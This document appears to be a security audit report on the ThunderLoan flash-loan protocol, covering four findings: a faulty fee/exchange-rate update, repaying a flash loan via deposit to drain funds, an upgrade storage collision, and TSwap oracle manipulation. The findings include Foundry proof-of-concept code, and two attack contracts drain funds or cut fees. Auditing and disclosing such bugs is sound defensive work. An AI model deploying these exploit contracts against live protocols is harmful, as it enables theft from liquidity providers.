ThunderLoan Protocol Audit Report

Version 1.0

Ayoub Kroim

July 28, 2024

ThunderLoan Protocol Audit Report

Ayoub Kroim

july 28, 2024

Prepared by: Ayoub Kroim

Table of Contents

Protocol Summary

This protocol serves two main purposes: facilitating flash loans for users and providing liquidity providers with a way to earn interest on their assets.

Disclaimer

AYOUB KROIM team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

```
./src/
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Executive Summary

Issues found

Severity	Number of issues found
High	3
Meduim	1
Low	0
Info	0
Total	4

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which block redemption and incorrectly sets the exchange rate.

Description: In the ThunderLoan system, the `exchangeRate` is responsible calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees!

```
1           function deposit(IERC20 token, uint256 amount) external
                revertIfZero(amount) revertIfNotAllowedToken(token) {
2               AssetToken assetToken = s_tokenToAssetToken[token];
3               uint256 exchangeRate = assetToken.getExchangeRate();
4               uint256 mintAmount = (amount * assetToken.
                    EXCHANGE_RATE_PRECISION()) / exchangeRate;
5               emit Deposit(msg.sender, token, amount);
6               assetToken.mint(msg.sender, mintAmount);
7   @>          uint256 calculatedFee = getCalculatedFee(token, amount);
8   @>          assetToken.updateExchangeRate(calculatedFee);
9               token.safeTransferFrom(msg.sender, address(assetToken),
                    amount);
10      }
```

Impact: There are several impacts to this bug. 1. The `redeem` function is blocked, because of protocol thinks the owned more tokens than it has. 2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting more or less than deserved.

Proof of Concept: 1. LP deposits. 2. User takes out a flash loan. 3. It is now impossible for LP to redeem.

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
1     function testRedeemAfterFlashLoan() public setAllowedToken
          hasDeposits {
2         uint256 amountToBorrow = AMOUNT * 10;
3         uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
              amountToBorrow);
4
5         vm.startPrank(user);
6         tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
7         thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
              amountToBorrow, "");
8         vm.stopPrank();
9
10        uint256 amountToreddem = type(uint256).max;
11        vm.startPrank(liquidityProvider);
12        thunderLoan.redeem(tokenA, amountToreddem);
13        vm.stopPrank();
14    }
```

Recommended Mitigation: Removed the incorrectly updated exchange rate lines from `deposite`.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2               AssetToken assetToken = s_tokenToAssetToken[token];
3               uint256 exchangeRate = assetToken.getExchangeRate();
```

```
4               uint256 mintAmount = (amount * assetToken.
                    EXCHANGE_RATE_PRECISION()) / exchangeRate;
5               emit Deposit(msg.sender, token, amount);
6               assetToken.mint(msg.sender, mintAmount);
7   -           uint256 calculatedFee = getCalculatedFee(token, amount);
8   -           assetToken.updateExchangeRate(calculatedFee);
9               token.safeTransferFrom(msg.sender, address(assetToken),
                    amount);
10      }
```

[H-2] By calling a `ThunderLoan::flashloan` and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol.2

Description: When a user takes a Flash Loan using `ThunderLoan::flashloan`, the protocol only checks the contract's balance as proof of repayment.

```
1       function flashloan(
2           address receiverAddress,
3           IERC20 token,
4           uint256 amount,
5           bytes calldata params
6       )
7           external
8           revertIfZero(amount)
9           revertIfNotAllowedToken(token)
10      {
11          .
12          .
13          .
14
15          uint256 endingBalance = token.balanceOf(address(assetToken));
16  @>      if (endingBalance < startingBalance + fee) {
17              revert ThunderLoan__NotPaidBack(startingBalance + fee,
                    endingBalance);
18          }
19          s_currentlyFlashLoaning[token] = false;
20      }
```

However, an attacker could exploit this by taking a Flash Loan and, instead of calling `ThunderLoan::repay`, calling `ThunderLoan::deposit` instead. This bypasses the intended repayment check, allowing the attacker to redeem and potentially steal all funds from the protocol.

Impact: This bug could allow attackers to steal all funds from the protocol.

Proof of Concept:

Proof of code

Place the following into `ThunderLoanTest.t.sol`

```
    function testUseDepositInsteadOfRepayToStealFunds() public
        setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        DepositInsteadofRepay dor = new DepositInsteadofRepay(address(
            thunderLoan));
        tokenA.approve(address(dor), fee);
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;
        dor.redeemMoney();
        vm.stopPrank();

        assertEq(tokenA.balanceOf(address(dor)), 50e18);
    }

contract DepositInsteadofRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        // token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Recommended Mitigation: ...

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`.

Description: 'ThunderLoan.sol has two variables in following order:

```
1     uint256 private s_feePrecision;
2     uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract ThunderLoanUpgraded.sol has them in a diffrent order.

```
1     uint256 private s_flashLoanFee; // 0.3% ETH fee
2     uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the s_flashLoanFee will have the value of s_feePrecision. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the s_flashLoanFee will have the value of s_feePrecision. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the s_currentlyFlashLoaning mapping will start on wrong storage slot.

Proof of Concept:

Proof of code

Place the following into ThunderLoanTest.t.sol

```
1
2  import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
       ThunderLoanUpgraded.sol";
3      .
4      .
5      .
6      function testUpgradeBreaks() public {
7          uint256 feeBeforeUpgrade = thunderLoan.getFee();
8          vm.startPrank(thunderLoan.owner());
9          ThunderLoanUpgraded thunderLoanUpgrade = new
               ThunderLoanUpgraded();
10         thunderLoan.upgradeToAndCall(address(thunderLoanUpgrade), "");
11         uint256 feeAfterUpgrade = thunderLoan.getFee();
12         vm.stopPrank();
13
14         console.log("Fee Before: ", feeBeforeUpgrade);
15         console.log("Fee After: ", feeAfterUpgrade);
16         assert(feeBeforeUpgrade != feeAfterUpgrade);
```

```
17      }
```

Recommended Mitigation: Leave it as blank to not mess up the storage slots.

```
1 -     uint256 private s_flashLoanFee; // 0.3% ETH fee
2 -     uint256 public constant FEE_PRECISION = 1e18;
3 +     uint256 private s_blank;
4 +     uint256 private s_flashLoanFee; // 0.3% ETH fee
5 +     uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks, which leads to get a Flash loan in less fees.

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 100 `tokenA`. They are charged the original fee `feeOne`. During the flash laon, they do the following:
    1. User sells 1000 `tokenA` in `TSwapPoll` tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is more cheaper.

```
1 function getPriceInWeth(address token) public view returns (
      uint256) {
2  address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool
      (token);
3 @>       return ITSwapPool(swapPoolOfToken).
      getPriceOfOnePoolTokenInWeth();
4  }
```

    3. The user then repays the first flash loan, and then repays the seconds flash loan is substantially cheaper.

Proof of code

Place the following into `TSwapPoolTest`

```
function testOracleManipulation() public setAllowedToken hasDeposits {
        // 1. set up the smart contract
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        // create t-swap DEX between weth/tokenA
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan.initialize(address(pf));
        // 2. fund T-swap pool
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();
        // 3. fund thunderLoan
        // set allow tokenA
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(IERC20(tokenA), true);
        // fund
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();


        // 4. take TWO flashloan:
        // 1. to nuke t-swap pool
        // 2. to prove that we could take a flashloan with less fee
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console.log("Normal Fee is:", normalFeeCost);
        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReciever flr = new MaliciousFlashLoanReciever(
            address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
```

```
43          thunderLoan.flashloan(address(flr), tokenA, 50e18, "");
44          vm.stopPrank();
45
46          uint256 attackFee = flr.feeOne() + flr.feeTwo();
47          console.log("Attack Fee is:", attackFee);
48          assert(attackFee < normalFeeCost);
49      }
50
51  contract MaliciousFlashLoanReciever is IFlashLoanReceiver {
52      BuffMockTSwap tswapPool;
53      ThunderLoan thunderLoan;
54      address repayAddress;
55      bool attacked;
56      uint256 public feeOne;
57      uint256 public feeTwo;
58
59      constructor(address _tswapPool, address _thunderLoan, address
            _repayAddress) {
60          tswapPool = BuffMockTSwap(_tswapPool);
61          thunderLoan = ThunderLoan(_thunderLoan);
62          repayAddress = _repayAddress;
63      }
64
65      function executeOperation(
66          address token,
67          uint256 amount,
68          uint256 fee,
69          address, /*initiator*/
70          bytes calldata /*params*/
71      )
72          external
73          returns (bool)
74      {
75          if (!attacked) {
76              feeOne = fee;
77              attacked = true;
78              uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                    (50e18, 100e18, 100e18);
79              // nuke price at pool toeknA/weth
80              IERC20(token).approve(address(tswapPool), 50e18);
81              tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                    wethBought, block.timestamp);
82              // take second flash loan
83              thunderLoan.flashloan(address(this), IERC20(token), amount,
                     "");
84              // repay directly to the procotol
85              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
86          } else {
87              feeTwo = fee;
88              IERC20(token).transfer(address(repayAddress), amount + fee)
```

```
                    ;
89              }
90              return true;
91          }
92      }
```

Recommended Mitigation: consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.